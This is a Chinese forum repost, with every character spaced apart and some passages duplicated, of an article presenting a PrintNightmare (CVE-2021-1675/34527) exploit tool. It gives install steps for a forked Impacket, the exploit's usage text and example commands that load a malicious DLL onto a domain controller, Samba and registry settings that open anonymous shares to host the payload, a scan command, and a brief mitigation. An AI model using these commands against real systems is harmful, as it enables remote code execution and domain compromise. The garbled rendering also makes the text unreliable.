搜索

[29061] 2021-07-12_【安全工具】CVE-2021-1675CVE-2021-34527-PrintNightmarePython、C#

文档创建者：s7ckTeam
浏览次数：5
最后更新：2025-01-19
2021-07-12_【安全工具】CVE-2021-1675CVE-2021-34527-PrintNightmarePython、C# 【 安 全 工 具 】 C V E - 2 0 2 1 - 1 6 7 5   /   C V E - 2 0 2 1 - 3 4 5 2 7   -   P r i n t N i g h t m a r e   P y t h o n 、 C # O t s 安 全   2 0 2 1 - 0 7 - 1 2 点 击 上 方 蓝 字 “ O t s 安 全 ” 一 起 玩 耍 C V E - 2 0 2 1 - 1 6 7 5   /   C V E - 2 0 2 1 - 3 4 5 2 7   -   P r i n t N i g h t m a r e   P y t h o n 、 C #   和   P o w e r S h e l l   漏 洞 利 用 实 现 （ L P E   和   R C E ） C V E - 2 0 2 1 - 1 6 7 5   /   C V E - 2 0 2 1 - 3 4 5 2 7 最 初 由 彭 志 娘   ( @ e d w a r d z p e n g )   和 李 雪 峰   ( @ l x f 0 2 9 4 2 3 7 0 )   创 建 的 P r i n t N i g h t m a r e   P o C   的 I m p a c k e t   实 现 在 完 全 修 补 的   2 0 1 9   域 控 制 器 上 进 行 测 试 远 程 或 本 地 执 行 恶 意 D L L 补 丁 更 新 补 丁 更 新 微 软 已 经 发 布 了 一 个 补 丁 来 缓 解 这 些 攻 击 ， 但 如 果 机 器 上 存 在 以 下 这 些 值 ， 那 么 该 机 器 仍 然 容 易 受 到 攻 击 安 装 安 装 在 运 行 漏 洞 利 用 之 前 ， 您 需 要 安 装 我 的   I m p a c k e t   版 本 ， 然 后 您 就 是   g u c c i C V E - 2 0 2 1 - 1 6 7 5 . p y R E G   Q U E R Y   " H K L M S o f t w a r e P o l i c i e s M i c r o s o f t W i n d o w s   N T P r i n t e r s P o i n t A n d P r i n t " H K E Y _ L O C A L _ M A C H I N E S o f t w a r e P o l i c i e s M i c r o s o f t W i n d o w s   N T P r i n t e r s P o i n t A n d P r i n t R e s t r i c t D r i v e r I n s t a l l a t i o n T o A d m i n i s t r a t o r s         R E G _ D W O R D         0 x 0 N o W a r n i n g N o E l e v a t i o n O n I n s t a l l         R E G _ D W O R D         0 x 1 p i p 3   u n i n s t a l l   i m p a c k e t g i t   c l o n e   h t t p s : / / g i t h u b . c o m / c u b e 0 x 0 / i m p a c k e t c d   i m p a c k e t p y t h o n 3   . / s e t u p . p y   i n s t a l l u s a g e :   C V E - 2 0 2 1 - 1 6 7 5 . p y   [ - h ]   [ - h a s h e s   L M H A S H : N T H A S H ]   [ - t a r g e t - i p   i p   a d d r e s s ]   [ - p o r t   [ d e s t i n a t i o n   p o r t ] ]   t a r g e t   s h a r e C V E - 2 0 2 1 - 1 6 7 5   i m p l e m e n t a t i o n . p o s i t i o n a l   a r g u m e n t s :     t a r g e t                                 [ [ d o m a i n / ] u s e r n a m e [ : p a s s w o r d ] @ ] < t a r g e t N a m e   o r   a d d r e s s >     s h a r e                                   P a t h   t o   D L L .   E x a m p l e   ' 1 0 . 1 0 . 1 0 . 1 0 s h a r e e v i l . d l l ' o p t i o n a l   a r g u m e n t s :     - h ,   - - h e l p                         s h o w   t h i s   h e l p   m e s s a g e   a n d   e x i t a u t h e n t i c a t i o n :     - h a s h e s   L M H A S H : N T H A S H                                                 N T L M   h a s h e s ,   f o r m a t   i s   L M H A S H : N T H A S H c o n n e c t i o n :     - t a r g e t - i p   i p   a d d r e s s                                                 I P   A d d r e s s   o f   t h e   t a r g e t   m a c h i n e .   I f   o m i t t e d   i t   w i l l   u s e   w h a t e v e r   w a s   s p e c i f i e d   a s   t a r g e t .   T h i s   i s   u s e f u l   w h e n   t a r g e t   i s   t h e   N e t B I O S   n a m e
中 小 企 业 配 置 中 小 企 业 配 置 托 管 有 效 负 载 的 最 简 单 方 法 是 使 用   s a m b a   并 修 改 / e t c / s a m b a / s m b . c o n f   以 允 许 匿 名 访 问 从 窗 户 也 可 以 扫 描 扫 描 我 们 可 以 使 用 r p c d u m p . p y f r o m   i m p a c k e t   来 扫 描 潜 在 的 易 受 攻 击 的 主 机 ， 如 果 它 返 回 一 个 值 ， 它 可 能 是 易 受 攻 击 的 减 轻 减 轻 禁 用 后 台 处 理 程 序 服 务 阅 读 原 文                                                 I P   A d d r e s s   o f   t h e   t a r g e t   m a c h i n e .   I f   o m i t t e d   i t   w i l l   u s e   w h a t e v e r   w a s   s p e c i f i e d   a s   t a r g e t .   T h i s   i s   u s e f u l   w h e n   t a r g e t   i s   t h e   N e t B I O S   n a m e a n d   y o u   c a n n o t   r e s o l v e   i t     - p o r t   [ d e s t i n a t i o n   p o r t ]                                                 D e s t i n a t i o n   p o r t   t o   c o n n e c t   t o   S M B   S e r v e r E x a m p l e ; . / C V E - 2 0 2 1 - 1 6 7 5 . p y   h a c k i t . l o c a l / d o m a i n _ u s e r : P a s s 1 2 3 @ 1 9 2 . 1 6 8 . 1 . 1 0   ' 1 9 2 . 1 6 8 . 1 . 2 1 5 s m b a d d C u b e . d l l ' . / C V E - 2 0 2 1 - 1 6 7 5 . p y   h a c k i t . l o c a l / d o m a i n _ u s e r : P a s s 1 2 3 @ 1 9 2 . 1 6 8 . 1 . 1 0   ' C : a d d C u b e . d l l ' [ g l o b a l ] m a p   t o   g u e s t   =   B a d   U s e r s e r v e r   r o l e   =   s t a n d a l o n e   s e r v e r u s e r s h a r e   a l l o w   g u e s t s   =   y e s i d m a p   c o n f i g   *   :   b a c k e n d   =   t d b s m b   p o r t s   =   4 4 5 [ s m b ] c o m m e n t   =   S a m b a p a t h   =   / t m p / g u e s t   o k   =   y e s r e a d   o n l y   =   n o b r o w s a b l e   =   y e s         f o r c e   u s e r   =   s m b u s e r m k d i r   C : s h a r e i c a c l s   C : s h a r e   / T   / g r a n t   A n o n y m o u s `   l o g o n : r i c a c l s   C : s h a r e   / T   / g r a n t   E v e r y o n e : r N e w - S m b S h a r e   - P a t h   C : s h a r e   - N a m e   s h a r e   - R e a d A c c e s s   ' A N O N Y M O U S   L O G O N ' , ' E v e r y o n e ' R E G   A D D   " H K L M S y s t e m C u r r e n t C o n t r o l S e t S e r v i c e s L a n M a n S e r v e r P a r a m e t e r s "   / v   N u l l S e s s i o n P i p e s   / t   R E G _ M U L T I _ S Z   / d   s r v s v c   / f   # T h i s   w i l l   o v e r w r i t e   e x i s t i n g   N u l l S e s s i o n P i p e s R E G   A D D   " H K L M S y s t e m C u r r e n t C o n t r o l S e t S e r v i c e s L a n M a n S e r v e r P a r a m e t e r s "   / v   N u l l S e s s i o n S h a r e s   / t   R E G _ M U L T I _ S Z   / d   s h a r e   / f R E G   A D D   " H K L M S y s t e m C u r r e n t C o n t r o l S e t C o n t r o l L s a "   / v   E v e r y o n e I n c l u d e s A n o n y m o u s   / t   R E G _ D W O R D   / d   1   / f R E G   A D D   " H K L M S y s t e m C u r r e n t C o n t r o l S e t C o n t r o l L s a "   / v   R e s t r i c t A n o n y m o u s   / t   R E G _ D W O R D   / d   0   / f #   R e b o o t r p c d u m p . p y   @ 1 9 2 . 1 6 8 . 1 . 1 0   |   e g r e p   ' M S - R P R N | M S - P A R ' P r o t o c o l :   [ M S - P A R ] :   P r i n t   S y s t e m   A s y n c h r o n o u s   R e m o t e   P r o t o c o l   P r o t o c o l :   [ M S - R P R N ] :   P r i n t   S y s t e m   R e m o t e   P r o t o c o l S t o p - S e r v i c e   S p o o l e r R E G   A D D     " H K L M S Y S T E M C u r r e n t C o n t r o l S e t S e r v i c e s S p o o l e r "     / v   " S t a r t "   / t   R E G _ D W O R D   / d   " 4 "   / f
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理